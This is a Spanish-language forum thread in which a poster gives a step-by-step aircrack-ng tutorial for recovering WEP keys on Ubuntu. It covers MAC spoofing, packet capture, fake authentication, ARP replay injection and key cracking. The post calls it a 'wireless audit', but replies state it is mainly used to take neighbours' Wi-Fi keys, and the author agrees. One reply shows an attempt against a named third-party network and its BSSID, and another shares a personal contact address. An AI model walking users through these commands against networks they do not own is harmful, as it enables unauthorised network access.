Auditoria Wireless para claves WEP con Ubuntu

Hola este es primer aporte a este foro, primero explicare que es una Auditoria Wireless en terminos generales, es una herramienta por la cual por medio de un conjunto de programas podemos medir la seguridad de nuestras redes inalambricas...

Requisitos:
1.-Instalar cualquier version de Ubuntu apartir de la 9.10
2.-Que tu adaptador de red inalambrico sea reconocido por el sistema operativo
Nota: el unico adaptador que da problemas es el Broadcom

Pasos a seguir:
Primero que nada tenemos que tener instalada la suit de Aircrack para eso tenemos que hacer los siguiente

1.- Entramos al menu Aplicaciones -> Accesorios -> Terminal

[Tienes que estar registrado y conectado para ver esa imagen]

2.- una vez que ya aparcio la ventana de Terminal se teclea en ella:
2.1.- sudo su root(indica que se entrara en modo administrador) y se da Enter (Tecla) e Inmediatamente se te pedira tu contraseña de administrador

Ya ingresados introducimos la siguiente línea de código “sudo apt-get install aircrack-ng” (puedes copiar y pegar)

¿Te genero error?:

Luego se teclea “sudo aptitude install macchanger” el cual nos ayudara a gestionar acciones sobre nuestro adaptador de red.

Ya instalados estos paquetes INCIAMOS!!!

Código:

sudo airmon-ng start wlan0
sudo ifconfig wlan0 down
sudo macchanger -m 00:11:22:33:44:55 wlan0
sudo ifconfig wlan0 up

Explico:
Línea 1: Se inicia el modo de monitoreo
Línea2: Se da de baja la tarjeta de red
Línea4: Se cambia la dirección MAC de la tarjeta
Línea5: Se da de alta la tarjeta con su nueva dirección MAC

[Tienes que estar registrado y conectado para ver esa imagen]

Ya que se realizaron esos pasos, crearemos un archivo donde se guardara la lista y características de las redes inalámbricas disponibles. Para hacerlo se introduce

Código:

sudo airodump-ng -w nomarchivo mon0

Donde “nomarchivo” es el nombre que se le otorgara (¡IMPORTANTE! No olvides el nomre que pusiste) De la lista que se muestra nos interesa obtener tres datos

importantes BSSID, CH, ESSID los cuales esteremos usando durante todo el proceso

[Tienes que estar registrado y conectado para ver esa imagen]

Ya con los datos a la mano buscamos en la lista el canal (CH) de la red inalámbrica a la que deseamos auditar, e introducimos

Código:

sudo airodump-ng -w nomarchivo -c (canal de la red con numero) mon0

Una vez hecho abrimos otra terminal con los pasos antes mencionados y posterior mente introducimos

Código:

sudo aireplay-ng -1 0 -e ESSID -a BSSID -h 00:11:22:33:44:55 mon0

ESSID y BSSID se tienen que sustituir por el nombre de la red inalámbrica y dirección MAC de la red que se esta auditando respectivamente. Y esperamos a tener una respuesta similar a esta

[Tienes que estar registrado y conectado para ver esa imagen]

¿No fue asi?:

Ya sin errores ni nada por el estilo continuamos introduciendo

Código:

sudo aireplay-ng -3 -b BSSID -h 00:11:22:33:44:55 mon0
Nota: Recuerda que BSSID se sustituye

El siguiente paso es creo yo el mas complicado así que presta mucha atención. Tienes que esperar a que el contador de paquetes se incremente, y no es

necesario llegar a cierta cantidad de paquetes, eso es un mito, ahora ya que inicio la inyección de paquetes, tienes que abrir una nueva terminal. Y se introduce

Código:

sudo aircrack-ng -n 64 nomarchivo-02.cap

El 64 que esta ahí puede ser sustituido por 128 dependerá de la longitud de la encriptación, una vez tecleado aparecerá la lista que guardamos anteriomente y

la opción de teclear el numero de índice de la red, en la mayoría de los casos es la “1”,

[Tienes que estar registrado y conectado para ver esa imagen]

se introduce el índice y se da enter, el programa hará una serie de procesos hasta mandar un resultado como este

[Tienes que estar registrado y conectado para ver esa imagen]

Si no te manda un mensaje diciendo que lo intentes cuando tengas una mayor cantidad de paquetes. Espera un par de minutos e inténtalo otra vez, si ves que en

la terminal anterior ya superaste los 170 000 entonces cambia el 64 por 128 y entonces apareceria algo asi.

[Tienes que estar registrado y conectado para ver esa imagen]

En el caso de que veas la cantidad de paquetes no se incrementa, no te preocupes, algunos módems como los thompsons hacen que esto no suceda pero igual el

método sirve, pero esa es solo una opción la otra es que existe mucha interferencia entre el modem auditado y tu adaptador de red. Te recomiendo que sepas en

donde esta situado el modem para que tengas una mejor ubicación, en caso de no saberlo pues ve de un lado a otro y ponte en posiciones alocadas, yo un dia me subi al techo de una camioneta para lograr mi objetivo =)

Ya por ultimo habiendo obtenido o no el resultado esperado se introduce

Código:

sudo airmon-ng stop mon0

para detener el monitoreo de red, ahora cierra cada una de las ventanas que se utilzaron y en caso de que una de ellas no te deje, teclea Crtl+C para

terminar el proceso y poder cerrar la ventana.

Bueno amigos estos fueron los pasos para poder realizar una Auditoria Wireless espero haber sido claro y de ayuda… nos vemos en el próximo tuto, o el chat, o

por msn o por donde sea que tengamos contacto… (no piensen mal he!!)

He entendido muy poco... pero lo leeré bien para ver como activarlo y trataré de virtualizar Ubuntu en mi MAC para acostumbrarme al SO... Gracias!

me puse buscar errores en el foro y cosas así y vi que comentaste este tema jajajaja... ps mira, según yo le deje muy fácil ya que el método por el que aprendí a hacer eso era muy tecnico, pero cualquier duda me dices va?

esteee io soi nueva en esto pero
cual es el objetivo d esto????
io ia tuve ubuntu y no me gusto

el objetivo especifico es medir la seguridad que tiene tu red inalambrica mediante esta tecnica, pero es mas usado par volarse las claves de los modems de los vecinos...

jajajaja... Exacto!!!

esteeeeee por q la risa=????

porq la gente se aprovecha d esa herramienta... por q más??

olaaaa a todos


gracias por el aporte

xD

esta de lujo

nos vemos


saludos

olle valedor me marca lo siguiente:

root@Scorpio:/home/scorpio# sudo aptitude install macchanger
sudo: aptitude: command not found

que hago para instalar esto??

tengo la ultima version de ubuntu

ayuda porfa!!!

intenta con "apt-get macchanger" o "sudo apt-get macchanger"

no me jalo asi bro pero ya lo pude instalar gracias por el paro.

soy medio malo en esto (jajaja casi puro mac osx)

segui con tu prosedimiento y me tira lo siguiente:

root@Scorpio:/home/scorpio# sudo aireplay-ng -1 0 -e INFINITUM9569 -a 00:21:7C:CD:F9:71 -h 00:11:22:33:44:55 mon0
The interface MAC (00:0B:6B:E1:56:85) doesn't match the specified MAC (-h).
ifconfig mon0 hw ether 00:11:22:33:44:55
23:56:09 Waiting for beacon frame (BSSID: 00:21:7C:CD:F9:71) on channel -1
23:56:09 mon0 is on channel -1, but the AP uses channel 6
root@Scorpio:/home/scorpio#

como lo arreglo hermano?

me parece que lo arreglas usando un linux mas viejo, despues de darte la respuesta me puse a probar y me sale lo mismo... asi que, tendre que hacer pruebas de codigo para darte una respuesta, ya que por el momento no encuentro una probable

podria poner el 10.4 de ubuntu no?

te dejo mi msn para hablar mas comodo si se puede la ayuda
civer _ scorpio @ live . com . mx (no me deja ponerlo junto xD)